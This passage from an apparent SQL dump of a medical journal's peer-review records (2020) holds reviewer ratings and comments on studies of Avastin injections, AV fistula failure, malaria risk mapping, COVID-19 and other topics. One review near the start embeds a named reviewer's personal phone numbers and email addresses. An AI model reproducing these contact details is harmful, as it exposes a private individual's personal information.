paper.\r\nAbstract should be informative and completely self-explanatory, include the following structures:- \r\n1. Introduction: Please describe the problem or lack of knowledge that address by this study\r\n2. Aim of the study: please added the aims or purposes of the research and its relation with other studies in the field. In addition, the working hypothesis must clearly state.\r\n3. Methods: Please add the study methodology that use in this study.\r\n4. The result; - should be presented with clarity and precision\r\n5. The conclusion should relate to the aim and problem that describe under introduction and aim\r\n6. The keywords are following the abstract, use about five to 10 key words not mention in the title. \r\nIntroduction\r\n1. The introduction ideally structure in the following order:-\r\nBackground information on the topic including incidences of the problem, definitions, a description of a problem or a lack of knowledge on a certain topic, a segment on WHY this is a problem and WHY this study is necessary, and a segment that underlines the research question that should be answered (based on the problem describe earlier) please rearrange again. \r\n2.The aim of the research:- What lessons were learned? What policies were changed?\r\nMethods\r\n1.The methods section should write in a way that everyone could repeat this study in the same manner. \r\n2. in the beginning the method section “76 Patients” change to litter not number. \r\n2. How was the sample size of 76 reached?\r\n3. You should added study question, primary objectives and secondary objectives if available.\r\n4. Please add details on (at least) the following items:\r\na. Patient selection: How were the patients selected, who selected the patients, on what criteria. How many patients exclude? Were patients prospectively enroll or retrospectively assessed?\r\nb. Who obtained the consent? How and when consent obtain from patients.\r\nc. What outcome measures used? \r\nAll these recommendations authors should add to Methods section.\r\nResults\r\n1.Results are meaningless without a better description in figures and tables. So please add this, and provide a thorough analysis of these results. This is the core of the manuscript.\r\nDiscussion\r\n1.A discussion should offer a short overview of the results, and an in depth discussion of the interpretation of them. \r\n2. Do the authors have an explanation on why the results are different compared to other studies?\r\n3. The last paragraphs of the discussion are very relevant. Please add some suggestions on how such problems can improve in your own hospital. How did you manage other problems? Share some solutions that applied after this research, so that other hospitals with similar problems can benefit from this research. \r\nLimitations of the study:-\r\nYou should added \r\nConclusion:\r\nPlease rewrite in a logical manner.\r\nRecommendations\r\nyou should added \r\nReferences: \r\n1. Please use uniform references, when available with DOI. \r\n2. Make sure update the old references number 5 \r\n3. The cited information is present in the references. This should be available.\r\n','Reviewer: - Adel Hamed Elbaih, MBBCH, MSC, MD, Associate Professor of Emergency Medicine, Faculty of Medicine, Sulaiman AlRajhi University (SRU) ,Suez Canal University(SCU), Ismailia, MD Emergency Medicine, SCU, 2011, MSC internal medicine, SCU, 2005, Scholarship and affiliation at Maryland University, USA, 2018. Member of the Egyptian Board of Emergency Medicine, Member of the Arab Board of Emergency Medicine, Egypt, KSA. Telephone: - 00966552804474, WhatsApp: - +201154599748, Email address: - a.elbaih@sr.edu.sa, elbaihzico@yahoo.com, elbaihzico@gmail.com, \r\n       the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are many spelling errors in this manuscript. See guide for authors for a free grammar checker. \r\nTitle:-“The Effect of Intravitreal Injection of Avastin for Neovascular Age – related Macular Degeneration.” should be a brief phrase describing the contents of the paper.\r\n','2020-03-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1259,11659,3531,NULL,'5','R','N','Y','Y','Accepted without changes','Accepted without changes','2020-03-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1261,11659,3531,NULL,'5','R','N','Y','Y','Accepted without changes','Accepted without changes','2020-03-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1262,663,3467,NULL,'4','G','Y','Y','Y','The case report presented a case of a patient with the symptom of oscillopsia for the past six years. The neurological examination revealed a monocular horizontal pendular nystagmus in the left eye and MRI brain scan revealed a dolichoectatic basilar artery causing a mild compression to the left part of the pontomedullary junction. This is a rare case of an acquired monocular pendular nystagmus in a patient with VBD. I only have few minor suggestion:\r\n1. There are few spelling mistakes and format issues, for example, \'a case o a 9-year-old girl \'. There should be a space following periods.\r\n2. Discussion part, it will be appreciated if the author can discuss the effect of dolichoectasia of the basilar artery and how dolichoectasia of the basilar artery cause the monocular nystagmus.','','2020-03-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1263,11358,3135,NULL,'5','g','y','m','y','Thank you for giving me the opportunity to review this interesting study \"Detection of Brain Signals Using electroencephalogram Received by Silk Electrospun Sheet for the Movement of Paralyzed Anatomical Parts through Tissue Engineering\".\r\nHowever, I have some comments and recommendations:\r\nComments:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the methods of the study.\r\nRecommendations:\r\nIntroduction:\r\n- Be concise and focused, quickly introduce the research question.\r\nMethods:\r\n- Adequately describe inclusion and exclusion criteria.\r\nReferences:\r\n- Update some references.\r\nGeneral:\r\n- Revise language, grammar and syntax.','Thank you for giving me the opportunity to review this interesting study \"Detection of Brain Signals Using electroencephalogram Received by Silk Electrospun Sheet for the Movement of Paralyzed Anatomical Parts through Tissue Engineering\".\r\nHowever, I have some comments and recommendations:\r\nComments:\r\nTitle: \r\n- Is appropriate for the content of the article.\r\nAbstract: \r\n- Represents a suitable summary of the work.\r\nArticle content: \r\n- The design, methods are appropriate for the study.\r\nConclusions:\r\n- Are justified on the basis of the methods of the study.\r\nRecommendations:\r\nIntroduction:\r\n- Be concise and focused, quickly introduce the research question.\r\nMethods:\r\n- Adequately describe inclusion and exclusion criteria.\r\nReferences:\r\n- Update some references.\r\nGeneral:\r\n- Revise language, grammar and syntax.','2020-03-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1264,11577,3522,NULL,'5','R','Y','Y','N','Well written','Overall, article looks good on scientific grounds and needs no further corrections. My recommendations are \"accept without changes\"','2020-03-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1265,11578,3522,NULL,'5','G','D','Y','N','Well written','I suggest that this paper may be accepted without any further changes','2020-03-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1275,10967,3581,NULL,'5','G','Y','Y','Y','Good','Good','2020-03-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1276,7415,3484,NULL,'4','r','N','Y','Y','Abstract / Results\r\n•	“”While a pre-operative CRP level > 1mg/dl did not show a significant correlation with failure of AVF””. CRP level > 1mg/dl needs to be changed to CRP level < 1mg/dl\r\n•	The use of abbreviations like. hsCRP, TNF.... and others should be written in full the first time they are used in the manuscript.\r\n•	The references cited in the paper were not listed in ascending pattern in relation to citation.\r\nMaterials and methods\r\n•	Author needs to mention clearly the inclusion and exclusion criteria. e.g.: Which AV fistula? \r\n•	Author included diabetes and hypertension as comorbidities. What about other comorbidities? e.g. peripheral vascular disease. These  have impact on AVF failure. \r\nResult \r\n•	“”Between October 2018 and May 2019, a total of 50 patients underwent radio-cephalic AVF creation, out of which 6 patients were lost to follow up. The average age of the patients was 41.48 +- 13.46 years. Of the remaining 44 patients, 27 were males (61.36%) and 17 were females. 14 patients (31.8%; 10 males and 4 females) developed failure to achieve maturation of fistula during the follow up period of three months as shown in Table 1””. This paragraph must be included in materials and methods.\r\n•	Table 5. Correlation with frequency of dialysis. Author put an entity in the field of No of dialysis per week which is “”nil”” 6 of them were working, 3 failed. The mixture of nil and working is not clear. This point needs clarification.\r\nDiscussion\r\n•	“”The study done by Zadeh et al, showed that CRP was positive in 34 patients(61.8%) with unsuccessful fistula function, while only 4 (7.3%) of those with successful AVF had positive CRP and the rest had negative CRP””. Author needs to mention the level of CRP in this study ( Not just positive and negative CRP). \r\nAuthor needs to decrease the number of references.\r\nAuthor needs to declare any conflict of interest.\r\nGood luck \r\n\r\n\r\n','Abstract / Results\r\n•	“”While a pre-operative CRP level > 1mg/dl did not show a significant correlation with failure of AVF””. CRP level > 1mg/dl needs to be changed to CRP level < 1mg/dl\r\n•	The use of abbreviations like. hsCRP, TNF.... and others should be written in full the first time they are used in the manuscript.\r\n•	The references cited in the paper were not listed in ascending pattern in relation to citation.\r\nMaterials and methods\r\n•	Author needs to mention clearly the inclusion and exclusion criteria. e.g.: Which AV fistula? \r\n•	Author included diabetes and hypertension as comorbidities. What about other comorbidities? e.g. peripheral vascular disease. These  have impact on AVF failure. \r\nResult \r\n•	“”Between October 2018 and May 2019, a total of 50 patients underwent radio-cephalic AVF creation, out of which 6 patients were lost to follow up. The average age of the patients was 41.48 +- 13.46 years. Of the remaining 44 patients, 27 were males (61.36%) and 17 were females. 14 patients (31.8%; 10 males and 4 females) developed failure to achieve maturation of fistula during the follow up period of three months as shown in Table 1””. This paragraph must be included in materials and methods.\r\n•	Table 5. Correlation with frequency of dialysis. Author put an entity in the field of No of dialysis per week which is “”nil”” 6 of them were working, 3 failed. The mixture of nil and working is not clear. This point needs clarification.\r\nDiscussion\r\n•	“”The study done by Zadeh et al, showed that CRP was positive in 34 patients(61.8%) with unsuccessful fistula function, while only 4 (7.3%) of those with successful AVF had positive CRP and the rest had negative CRP””. Author needs to mention the level of CRP in this study ( Not just positive and negative CRP). \r\nAuthor needs to decrease the number of references.\r\nAuthor needs to declare any conflict of interest.\r\n\r\nThank You\r\n\r\n','2020-03-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1278,11449,3532,NULL,'4','g','y','y','y','Fue un placer para mí revisar este manuscrito.\r\nCreo que este es un buen artículo.\r\nEn consecuencia, felicito a los autores.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nEl autor podría mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Debe demostrarse que esta publicación \"anecdótica\" es una herramienta de enseñanza importante. El objetivo de la publicación de casos clínicos es básicamente educativo, el autor debe tener en cuenta el mensaje que desea comunicar y si este conocimiento será útil para los lectores. Quizás puede representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Palabras clave:\r\nPara las palabras clave, se debe utilizar la lista de términos de Descriptores de Ciencias de la Salud (Medical Subject Headings, MeSH) de Index Medicus (disponible en https://meshb.nlm.nih.gov/search).\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: Revista internacional de cirugía (Londres, Inglaterra). NLM Abreviatura del título: Int J Surg\r\n','Fue un placer para mí revisar este manuscrito.\r\nCreo que este es un buen artículo.\r\nEn consecuencia, felicito a los autores.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nEl autor podría mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Debe demostrarse que esta publicación \"anecdótica\" es una herramienta de enseñanza importante. El objetivo de la publicación de casos clínicos es básicamente educativo, el autor debe tener en cuenta el mensaje que desea comunicar y si este conocimiento será útil para los lectores. Quizás puede representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n-Palabras clave:\r\nPara las palabras clave, se debe utilizar la lista de términos de Descriptores de Ciencias de la Salud (Medical Subject Headings, MeSH) de Index Medicus (disponible en https://meshb.nlm.nih.gov/search).\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en: https://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: Revista internacional de cirugía (Londres, Inglaterra). NLM Abreviatura del título: Int J Surg\r\n','2020-03-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1282,663,3192,NULL,'4','G','Y','Y','Y','The case report demonstrated a patient presented with renal infarction with fingolimod treatment which is a new case that hasn\'t been reported previously. The effects of fingolimod on vascular remain unclear and this report provides evidence to us that we need  pay more attention and understand the mechanism of this phenomenon. This is a well-written case report. If the author can discuss other possible reasons related to renal infarction in this case, it will be more appreciated. Because there is no direct evidence to show renal infarction is caused by fingolimod. ','','2020-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1285,8599,1024,NULL,'4','G','Y','Y','N','Staphylococcus aureus is a Gram-positive bacterium living as a commensal on the skin, mouth and upper respiratory system, making it a risk factor for opportunistic and nosocomial infections. Resistance to commonly used antimicrobial drugs is frequently encountered with S. aureus. Some of the mechanisms in resistance include; inactivation of antibiotics by the enzymes, decreased affinity for the antibiotics caused by alteration of the target, efflux pumps, and trapping of the antibiotic. The emergence of resistance to antibiotics in Gram-positive pathogens has become a major international problem as there are fewer, or even sometimes no, effective antimicrobial agents available for infections caused by these bacteria. Author selected the significant study regarding the Multi-drug resistance pattern of Staphylococcus aureus from Paediatric ward with ethical approval and shown significant results. Manuscript is well organized and results are clearly tabulated and graphically represented for easy understanding. Manuscript falls under the scope of the journal and recommended to publish.','','2020-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1287,4473,3433,NULL,'1','d','n','n','n','The whole procedure of histological preparation is wrong. You can not fix tissues in 100% formalin (40% of formaldehyde). \r\n1. You have to use 10% formalin or other fixatives (such as Bouin solution or Davindson). \r\n2. Also dehydration procedure is not done with the use of PAS. Periodic acid–Schiff (PAS) is a staining method not a dehydration method. \r\n3. The authors refer that the same method was used by Hughes and Perry (1976). I read Hughes and Perry\' paper and nowhere refer something like that. Hughes and Perry used glutaraldehyde as fixative and resin as embedding material. \r\n4. The fixation with 100% formalin will probably can explain the bad contition of the histological sections. Especialy in liver there are some regions with \"brown-black\" color. These are formalin pigments. \r\n','Very low quality paper. The authors probably didn\'t know anything about histology','2020-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1288,9797,3495,NULL,'5','G','y','Y','Y','The article has been written well. ','The writing of this article is good. study research is beneficial in medical field. I accept to be published . ','2020-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1289,11715,3593,NULL,'4','r','d','m','y','Scope, relevance and the methodological appropriateness\r\nThe paper tries to address important factors related to malaria which is an important public health problem in the developing world and is methodologically fitted \r\nGeneral comment and questions \r\nTypographic correction and grammatical insight is needed \r\nReduce plagiarism \r\nBetter to explore using the current up-to-date literature \r\nBetter to explain GIS-related manipulation based on standards rather than related articles (like reclassification system, cut point and also the data extracted in the previous study were not explained even the source. \r\nIt lacks malaria hazard assessment which is important and used to determine the malaria risk level. The paper also misses some factors like road access, and other developmental related factors. it is also better to show the step table for malaria risk assessment in determining risk level……(malaria risk=?) and show the malaria risk mapping model builder in Arc GIS…. The qualitative data also not well addressed in the discussion \r\nIn the introduction part \r\nThe flow of idea is not consistent from the globe (tries to explain from global to local but turned to local as (Ashenafi, 2003), and back to South of the Sahara, Africa….. explanation is better using geographic setup and wealth level in order to insight but natural geographic factors and developmental related factors of once region.\r\nResearch Methodology\r\n Better to say methods and materials instead of Research Methodology\r\nAnd clearly explain the materials you use \r\nState the stakeholders parallel to the types of data you collected and the method to collect and method of analysis of these types of data. \r\nPlagiarism checked  - and should be avoided \r\n1.	Title: Addis Ababa university school of graduate studies ... - AAU-ETD\r\nTo map the risk area, nine environmental and socio-economic factors were selected using the information collected from the Kewet woreda health office and.\r\nhttp://etd.aau.edu.et/bitstream/handle/123456789/5596/Mame%20Zewga.pdf?sequence=1\r\n2.	GIS & RS integrated application for malaria risk zone mapping ...\r\nFor each environmental factor mentioned above maps were generated and then reclassified depending on their suitability for mosquito\r\nbreeding. In the process ...\r\nhttp://etd.aau.edu.et/bitstream/handle/123456789/5998/Tensaye%20Worku.pdf?sequence=1\r\n\r\nTitle: Addis Ababa university school of graduate studies ... - AAU-ETD\r\nMy profound gratitude with appreciation goes to my advisor, Dr. Elleni ... density and proximity to water bodies have a profound influence\r\non the temporal and spatial distribution of malaria vectors (Arega, 2009, Prosper, 2011, Aster, 2010).http://etd.aau.edu.et/bitstream/handle/123456789/5596/Mame%20Zewga.pdf?sequence=1\r\n\r\nland-use/cover, population density and proximity to water bodies have a profound influence on the Especially, temperature and rainfall act as the major limiting factors on the development of  Malaria transmission intensity, along with its temporal and spatial distribution in Ethiopia, is mainly, Therefore, for this study relevant parameters which can be used for mapping malaria-prone areas\r\n\r\nResult and Discussion \r\nTitle: Addis Ababa university school of graduate studies ... - AAU-ETD\r\nMAME ZEWGA GETANEH JUNE, 2016.\r\nhttp://etd.aau.edu.et/bitstream/handle/123456789/5596/Mame%20Zewga.pdf?sequence=1\r\nTitle: ADDIS ABABA UNIVERSITY - PDF Free Download\r\nFinally, a single average value of each station used for surface interpolation in Arc GIS spatial analyst tools. The technique used to\r\ninterpolate the data was ...\r\nhttp://docplayer.net/46257909-Addis-ababa-university.html\r\nTitle: applying the inverse distance weighting and kriging methods ...\r\nJul 1, 2012 - ... advanced geostatistical one, which estimates investigated area from a dispersed set of meteorological stations with different\r\naltitudes (z value).\r\nhttps://scholarsarchive.byu.edu/cgi/viewcontent.cgi?article=1878\r\nall the above points are duplicated better to rewrite \r\nComments on factor development \r\nElevation \r\nThe WHO classification low-risk altitude is b/n 2000- 2500 but in your classification falls at moderate risk how to make an agreement?\r\nYou used the UNICEF (2008 classification, is this the standard classification scheme, that is quantile? \r\nIn calculating the distance from wetland do you analyze according to Spatial Analyst Tool, Distance, Euclidean Distance and classified according to natural break standard reclassification method in ARC GIS10.1? not clearly stated \r\nSlope analysis: \r\n at which resolution you determine the slop map? What is your evidence? to have that, what is the importance of quantiles here and the ARC map to produce a slop map? Needs explanation work up evidence \r\nHydrological   Factors\r\nWhat is the importance of classifying the water body related to Rivers and Wetlands and Swamps?\r\nThey are the same class which indicates the mosquito flying distance from their breeding or both are the same habitat for breeding. It is better to classify as the distance from water bodies  \r\nSocio-Economic Factors\r\nDistance from health center what is the standard that WHO used? Is your document lack GIS estimation? Why not Euclidian distance generated or state it clearly scientifically  \r\n Mapping – better to clarify the location of your study and also leveling is better in Kilometer rather than degree measure \r\n\r\n','thanks for your invitation to review this manuscript. but it is better to have formal request and then after acceptance of the request formal letter should be given for a professional review \r\n\r\n\r\nthanks for all the fast response ','2020-03-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1292,11698,3581,NULL,'2','R','Y','M','Y','This manuscript is problematic from several points of view.\r\n1. It was lack of author list, affiliation, and correspondence on the title page.\r\n2. The detailed description of the methods part is missing in this manuscript?\r\n3. What are the criteria for subgroup analysis in tables?\r\n4. The article is poorly written and disorganized. It is suggested to review the manuscript again carefully rewriting the article.','In the present study, the authors estimated and evaluated the efficacy of serum ceruloplasmin levels as a potential biomarker in the early detection of oral potentially malignant epithelial lesions (PMELs) including leukoplakia, OSMF, and OSCC patients. However, this manuscript is problematic from several points of view. First, it was lack of author list, affiliation, and correspondence on the title page. Second, the detailed description of the methods part is missing in this manuscript. Third, the criteria of subgroup analysis in tables are not described. Fourth, the article is poorly written and disorganized. It is suggested to review the manuscript after carefully rewriting the article.','2020-03-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1293,11720,3584,NULL,'3','D','Y','Y','N','The paper is well written, but it has many grammatical mistakes. The data set is very small for comparison purposes. The deep learning algorithms should have a very large datasets. I recommend to enhance the dateset and evaluate the metrics on large data set.\r\nThe paper lacks the sufficient literature reviews.\r\nThe authors have not compared the results with previous works in the field. \r\n','Recommended after through revision and making the paper grammatically correct.','2020-03-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1297,11355,3519,NULL,'2','r','Y','Y','Y','The author studied the effect of intravitreal injection of Avastin for Neovascular age related macular degeneration. The manuscript was not well written. The English expression is not very accurate. It’s better to find a native speaker to edit it.  In the’ Introduction’ part, it’s better to let readers know why to conduct this research. What kinds of disadvantages the current treatment has, which need to be improved. And it’s better to introduce some of the Avastin. Why choose Avastin as the therapeutic medicine? Why use intravitreal injection? What advantages are they? The result presentation is also not very good. If graph can be used to present the results that will help readers to understand better. Statistical methods should be shown up in the ‘Methods’ part. In addition , an abstract should be given to the manuscript.  ','The manuscript was not well written.','2020-03-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1298,10684,3584,NULL,'4','g','y','y','y','(https://doi.org/10.31832/smj.376327) and (doi:10.14744/scie.2017.00372) ı suggest these uptodate studies for the references','ACCEPTABLE AFTER REVISION','2020-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1299,10962,3513,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2- (https://doi.org/10.31832/smj.376327) and (doi:10.14744/scie.2017.00372) ı suggest these uptodate studies for the references','acceptable after revision','2020-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1300,10685,3584,NULL,'5','g','d','y','y','Manuscript well organized, and I recommend to publish it.','','2020-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1301,11299,3551,NULL,'1','D','N','M','N','The most severe problem for this study is that the authors didn’t include control group or they should have separate groups purely based on the computer usage time to find the correlation. Also the authors didn’t perform enough analysis for the current data. The conclusion is not convincing based on the results they have.\r\nOther minor questions:\r\n1, in figure 2, they should show the percentage of Finkelstein\'s test positive person within each group;\r\n2, table 1 doesn’t have strong relationship to the project itself.\r\n','The authors didn’t provide necessary control group or didn’t divide the objects into appropriate groups for this study. The analysis they did is too simple and raw, and didn’t provide novel knowledge.    \r\nI don’t think this version is good enough for publication.\r\n','2020-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1302,11299,3551,NULL,'1','D','N','M','N','The most severe problem for this study is that the authors didn’t include control group or they should have separate groups purely based on the computer usage time to find the correlation. Also the authors didn’t perform enough analysis for the current data. The conclusion is not convincing based on the results they have.\r\nOther minor questions:\r\n1, in figure 2, they should show the percentage of Finkelstein\'s test positive person within each group;\r\n2, table 1 doesn’t have strong relationship to the project itself.\r\n','The authors didn’t provide necessary control group or didn’t divide the objects into appropriate groups for this study. The analysis they did is too simple and raw, and didn’t provide novel knowledge.    \r\nI don’t think this version is good enough for publication.\r\n','2020-03-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1305,11714,3593,NULL,'4','G','y','Y','N','Relatively, it is a good research article. However, it needs version based on each section given :\r\n1.What is GIS? Scientific  world needs simple and clear Title? \r\n\r\n2. Please, kindly revise abstract, there is repetition of ideas and put your finding in the result section and finally your conclusion based on your finding, please, recommend based on your finding, please, revise your recommendation for construction of HC? Is it your finding?\r\n3.Please, kindly put  your study settings\r\n4.I have seen your information like : 137 study participant in abstract section? Please, revise your  sample size determination, sampling techniques, sampling frame ,data collection method and data management method \r\n5.Have you said :Qualitative study conducted? If it done: what are the designs? In-depth interview  or FGD or other please, write clearly\r\nAnd other how many participant were involved in this qualitative study? How do you analyzed qualitative data? How do you ensured trust worthiness?\r\n6.How many interview were conducted and who was the responsible to interview?\r\n7. Please put data sources? Report, published article? or other?\r\n8. Please put data sources? Report, published article? or other?\r\n9.It needs data for evidence\r\nPlease, kindly put your 7year monthly data analysis in table, because the reader easily understand \r\n10.Please, kindly see global, regional and local evidence that support your findings?\r\n11.Please, put population  data\r\n12.It is a good finding, but put supporting evidence from elsewhere?\r\n13. Conclusion is good but make short and strong, also add your study limitation','I hope it is a good journal if it is revised based on my comments.\r\nAlready offered comments each section of the paper.','2020-03-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1307,4512,3433,NULL,'4','G','Y','M','Y','The comments were done on the manuscript and sent as attached mail.','','2020-03-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1308,11520,3551,NULL,'6','G','N','Y','Y','A good study for the clinicians','','2020-03-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1314,11845,3612,NULL,'6','g','y','y','n','In this review manuscript, authors provide systematical review about the 2019 novel coronavirus disease (COVID-19) on the basis of the updated literature. They summarize the origin, transmission, diagnosis and clinical characteristic of newly identified SARS-CoV-2. The two diagnosis methods of Q-PCR laboratory biognosis and high-resolution CT imaging are comprehensively compared and analyzed. The multiple potential treatment strategies for COVID-19 used in China are discussed in detail. All of the diagnosis and treatment methods using in China will be very helpful in other country. At the current juncture, this is very important and knowledgeable review in COVID-19 field. \r\n\r\n','','2020-03-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1319,11298,3612,NULL,'6','G','N','Y','N','This is a timely and comprehensive review that provides critical insight to epidemics of covid19. This article is of substantial interest to health science field. ','None. ','2020-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1323,1128,3598,NULL,'5','G','Y','Y','Y','Good','Good','2020-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1324,1128,2645,NULL,'5','G','Y','Y','Y','Good','Good','2020-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1325,1128,917,NULL,'5','G','Y','Y','Y','Good','Good','2020-03-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1330,10962,3635,NULL,'4','g','y','y','y','( 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-04-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1334,11449,3301,NULL,'5','r','y','y','y','El manuscrito estaba muy bien escrito. Todos los resultados fueron tabulados de manera comprensible y las discusiones y conmociones se presentan de manera legible.\r\nacepto este manuscrito\r\n','El manuscrito estaba muy bien escrito. Todos los resultados fueron tabulados de manera comprensible y las discusiones y conmociones se presentan de manera legible.\r\nacepto este manuscrito\r\n','2020-04-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1341,7418,3505,NULL,'5','G','Y','Y','Y','Present study is good . It is a good case presentation. ','Present article is according to the norms of journal.It is a good case study and presented well. No more correction are necessary. So it can be accepted for publication.','2020-04-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1342,7418,3505,NULL,'5','G','Y','Y','Y','Present study is good . It is a good case presentation. ','Present article is according to the norms of journal.It is a good case study and presented well. No more correction are necessary. So it can be accepted for publication.','2020-04-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1346,10685,3635,NULL,'4','r','y','y','y','Manuscript well organized, and I recommend to publish it','','2020-04-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1353,10876,3577,NULL,'6','g','y','y','y','The paper was highly novel, the topic is recommended as it discussed sensitive issue. It was logical and complete.\r\nAccept based on the above merits.','The paper was highly novel, the topic is recommended as it discussed sensitive issue. It was logical and complete.\r\nAccept based on the above merits.','2020-04-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1354,10962,3713,NULL,'4','g','y','y','y','( 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-04-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1358,9797,3708,NULL,'5','R','y','Y','N','The article has been written well. ','The writing of this article is good. study research is beneficial in medical field. I accept to be published . ','2020-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1359,9797,3675,NULL,'5','R','y','Y','N','The article has been written well. ','The writing of this article is good. study research is beneficial in medical field. I accept to be published . ','2020-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1360,9797,3728,NULL,'5','R','y','Y','N','The article has been written well. \r\n','The writing of this article is good. study research is beneficial in medical field. I accept to be published . 